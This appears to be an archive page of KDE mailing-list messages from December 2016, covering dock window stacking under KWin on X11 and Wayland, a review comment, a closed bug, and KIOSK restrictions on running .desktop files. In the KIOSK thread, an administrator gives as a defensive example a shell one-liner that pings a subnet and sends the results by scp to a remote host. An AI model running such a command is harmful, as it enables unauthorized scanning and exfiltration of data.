Re: [KWin - Dock Question] - How to hide a window from PresentWindows effect?
On Sunday, December 11, 2016 10:11:14 AM CET Michail Vourlakos wrote: > On 09/12/2016 06:30 μμ, Martin Graesslin wrote: > > https://cgit.kde.org/plasma-framework.git/tree/src/plasmaquick/dialog.cpp > > > > the property in question is outputOnly. But it looks like that's only > > using an input shape which might (?) not help you. > > I ll' have a look Martin, thanks a lot again... > > >> If I set : > >> > >> KWindowSystem::setType(m_dockWindow->winId(), NET::Dock); > >> > >> my dock is always on top and I can never lower it below normal > >> windows.. > > > > Well yes, that's the idea of a Dock. Of course it's on top of all > > windows. If you don't want that, don't use a dock. > > > > On X11 KWin supports windows can cover through having a dock set to keep > > below. But that won't work on Wayland and thus I heavily recommend > > against it. > > I want a Dock that lowers itself (becomes "Keep Below") based on > criteria for example > only when the Active window or a Maximimzed one is covering the dock. This needs support from the window manager. You cannot do that from the window side, I'm sorry. The stacking order supported by window managers is explained in https://specifications.freedesktop.org/wm-spec/wm-spec-latest.html#STACKINGORDER > I > found > a workaround for this that in X works great but I dont think it will help in > wayland.. In X I am setting my dock as Qt::Tool and then I am changing its > state You cannot do that! Changing the window type is not supported at runtime. If you set it before you just made it no dock at all. > to "Keep Below" and "Keep Above" when it is needed... In my c++ part I > have made an > abstraction in order to support X and wayland differently... > > So Martin, In wayland isnt possible for a window to set itself to "Keep > Below"? No, on Wayland a window cannot set itself to keep below. For Plasma windows we do that in a more semantic way, e.g. a window says it's a Panel with windows can cover. Cheers Martin signature.asc Description: This is a digitally signed message part.
[Differential] [Commented On] D3549: [Lock Screen] Add keyboard icon for keyboard layout switcher
jensreuterberg added a comment. Fancy work! REPOSITORY R120 Plasma Workspace REVISION DETAIL https://phabricator.kde.org/D3549 EMAIL PREFERENCES https://phabricator.kde.org/settings/panel/emailpreferences/ To: broulik, #plasma, #plasma:_design, mart Cc: jensreuterberg, graesslin, plasma-devel, lesliezhai, ali-mohamed, abetts, sebas
Re: status of kde/plasma kiosk framework in kf5
Hi, On 10.12.2016 21:57, David Faure wrote: > Is this a bug? Should KDesktopFile::isAuthorizedDesktopFile refuse executing > files from $HOME, even in standard locations like > ~/.local/share/applications, I do not think this is a bug, but enterprise environments have sometimes the requirement to lock down the system via configuration. I know, this is not very nice for the maintainer to maintain several usecases. But the possibility to completely configure KDE to our needs was the reason to go with it. :-) > if run_desktop_files is not authorized? Or do we need a different KIOSK > setting > for this because there are use cases for both? There are several usecases/requirements if i may chime in =) Ours would go even further: 1. It is not possible to execute .desktop files which reside in user-controlled-places at all. This is the case if we do not want almost any modification and a tightly restricted environment for public computers. 2. It is possible for users to have .desktop-files in user-controlled-places for execution, BUT these desktop files may only call programs in system-paths without any arguments or parameters. This is the case if we want that users CAN place desktop-files of their standard-programs like email or office on their desktop, but it should not be possible to create a desktop file which executes a nc-onliner which scans your system and pushes the result to an http-host. so, like /usr/bin/loffice can be started, but stuff like "date && for i in $(seq 250 254) ; do ping -c 1 "192.168.178.$i" >> file ; done && scp file user@remotehost" is not possible to execute. > (1) see KDesktopFile::isAuthorizedDesktopFile in kconfig > (2) see krun.cpp in kio > (3) see kpropertiesdialog.cpp in kio. Hmm, there's possible another bug > there, > the permissions dialog always appears, allowing people to make desktop files > executable, what is blocked by run_desktop_files is the desktop-files-plugin, > i.e. modifying the Exec line. IMO there are use cases for the already existing restrictions too, since typically we sometimes have not the possibility to lockdown the system entirely outside of KDE. For example, you sometimes cannot mount /home non-executable since there is 3rd-party-crap like Cisco Anyconnect which downloads stuff from the CISCO-vpn-server into YOUR HOME and executes it with root-permissions(!). I feel there is a permission matrix somewhere in that jungle of restriction possibilities... Yours, Dennis
Re: [KWin - Dock Question] - How to hide a window from PresentWindows effect?
On Sunday, December 11, 2016 8:14:26 PM CET Michail Vourlakos wrote: > On 11/12/2016 11:23 πμ, Martin Graesslin wrote: > > On Sunday, December 11, 2016 10:11:14 AM CET Michail Vourlakos wrote: > >> On 09/12/2016 06:30 μμ, Martin Graesslin wrote: > >>> https://cgit.kde.org/plasma-framework.git/tree/src/plasmaquick/dialog.cp > >>> p > >>> > >>> the property in question is outputOnly. But it looks like that's only > >>> using an input shape which might (?) not help you. > >> > >> I ll' have a look Martin, thanks a lot again... > >> > If I set : > > KWindowSystem::setType(m_dockWindow->winId(), NET::Dock); > > my dock is always on top and I can never lower it below normal > windows.. > >>> > >>> Well yes, that's the idea of a Dock. Of course it's on top of all > >>> windows. If you don't want that, don't use a dock. > >>> > >>> On X11 KWin supports windows can cover through having a dock set to keep > >>> below. But that won't work on Wayland and thus I heavily recommend > >>> against it. > >> > >> I want a Dock that lowers itself (becomes "Keep Below") based on > >> criteria for example > >> only when the Active window or a Maximimzed one is covering the dock. > > > > This needs support from the window manager. You cannot do that from the > > window side, I'm sorry. The stacking order supported by window managers > > is explained in > > https://specifications.freedesktop.org/wm-spec/wm-spec-latest.html#STACKI > > NGORDER > I added a state in my code which can be used in wayland in which the > various visibility states > are not lowering the dock but instead they create an intelligent > slide-out of the contents and > then masking the window in order to give this space to underneath > windows. So this is something > like an intelligent auto-hide based on active windows or fullscreen windows. Sounds good. On Wayland it should be way easier for us to support this case. At least we support changing types, etc. Which is not allowed on X11. > I thought that libtaskmanager is accessing KWayland in order to track the > active window and the windows geometries, Yes, you can use either libtaskmanager or KWayland directly. > isnt this possible to be used also from my code? the dock window is > going to be always a dock type > this way... > > > > KWin is great but for my dock case has some limitations which are > breaking a bit the experience: > 1. plasma's auto-hide mode doesnt work good with my dock because when it > is auto hidden it doesnt update its contents. That's either a Qt or a OpenGL limitation. At least on X11 the window is still there, and still visible, just not rendered by KWin. It's quite likely that Qt doesn't really understand what's going on and doesn't render because it thinks it's not visible. > It is out of screen it's not out of screen. It's just not rendered. > thus the various animations for adding/removing > tasks etc are playing when the dock is shown > again. > 2. pop ups in window type Dock are not calculated correctly in my dock > case. KWin takes into account that because > a window is a Dock all its space is used and shown always and thus show > the various pop-ups from > the plasmoids far away from the element that triggered them. My dock > uses masking for its window and thus > an element that triggers a pop-up can be far away from the edge of the > window That's not KWin either. That's Plasma. Plasma positions it's windows itself, KWin honors the position hints Plasma uses. If a Plasma window is misplaced, it's Plasma's fault. (You see I love blaming other projects :-P ) On Wayland we even go a step further and don't do any sanity checking on the positions Plasma provides. Normally windows on Wayland are always placed by the window manager, except for Plasma. Cheers Martin signature.asc Description: This is a digitally signed message part.
[plasmashell] [Bug 360308] [windows list] plasma don't work (unclutter and cascade windows)
https://bugs.kde.org/show_bug.cgi?id=360308 David Edmundson changed: What|Removed |Added Status|UNCONFIRMED |RESOLVED CC||k...@davidedmundson.co.uk Resolution|--- |INVALID --- Comment #1 from David Edmundson --- Thanks This option no longer exists. -- You are receiving this mail because: You are the assignee for the bug.
